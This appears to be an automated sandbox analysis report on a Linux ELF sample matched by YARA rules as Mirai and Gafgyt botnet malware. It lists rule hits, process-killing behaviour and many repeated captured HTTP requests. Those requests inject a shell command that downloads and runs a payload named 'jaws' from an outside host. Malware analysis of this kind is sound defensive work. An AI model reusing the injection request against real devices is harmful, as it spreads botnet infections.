Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+botbet.catbbos.fun/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

System Summary

Malicious sample detected (through community Yara rule)

Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6226.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6224, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown
Source: Process Memory Space: db0fa4b8db0333367e9bda3ab68b8042.x86.elf PID: 6226, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6235, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6236, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6237, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6238, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6239, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6240, result: successful	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86.elf (PID: 6232)	SIGKILL sent: pid: 6244, result: successful	Jump to behavior

Source: LOAD without section mappings

Program segment: 0x8048000

Source: db0fa4b8db0333367e9bda3ab68b8042.x86.elf, type: SAMPLE	Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth (Nextron Systems), description = Detects a suspicious ELF binary with UPX compression, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4, reference = Internal Research
Source: 6226.1.00000000099fb000.00000000099fc000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6224.1.00000000099fb000.00000000099fc000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = fe93a3552b72b107f95cc5a7e59da64fe84d31df833bf36c81d8f31d8d79d7ca, id = fa3ad9d0-7c55-4621-90fc-6b154c44a67b, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_93fc3657 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d01a9e85a01fad913ca048b60bda1e5a2762f534e5308132c1d3098ac3f561ee, id = 93fc3657-fd21-4e93-a728-c084fc0a6a4a, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_804f8e7c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 1080d8502848d532a0b38861437485d98a41d945acaf3cb676a7a2a2f6793ac6, id = 804f8e7c-4786-42bc-92e4-c68c24ca530e, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6224.1.0000000008048000.000000000805b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
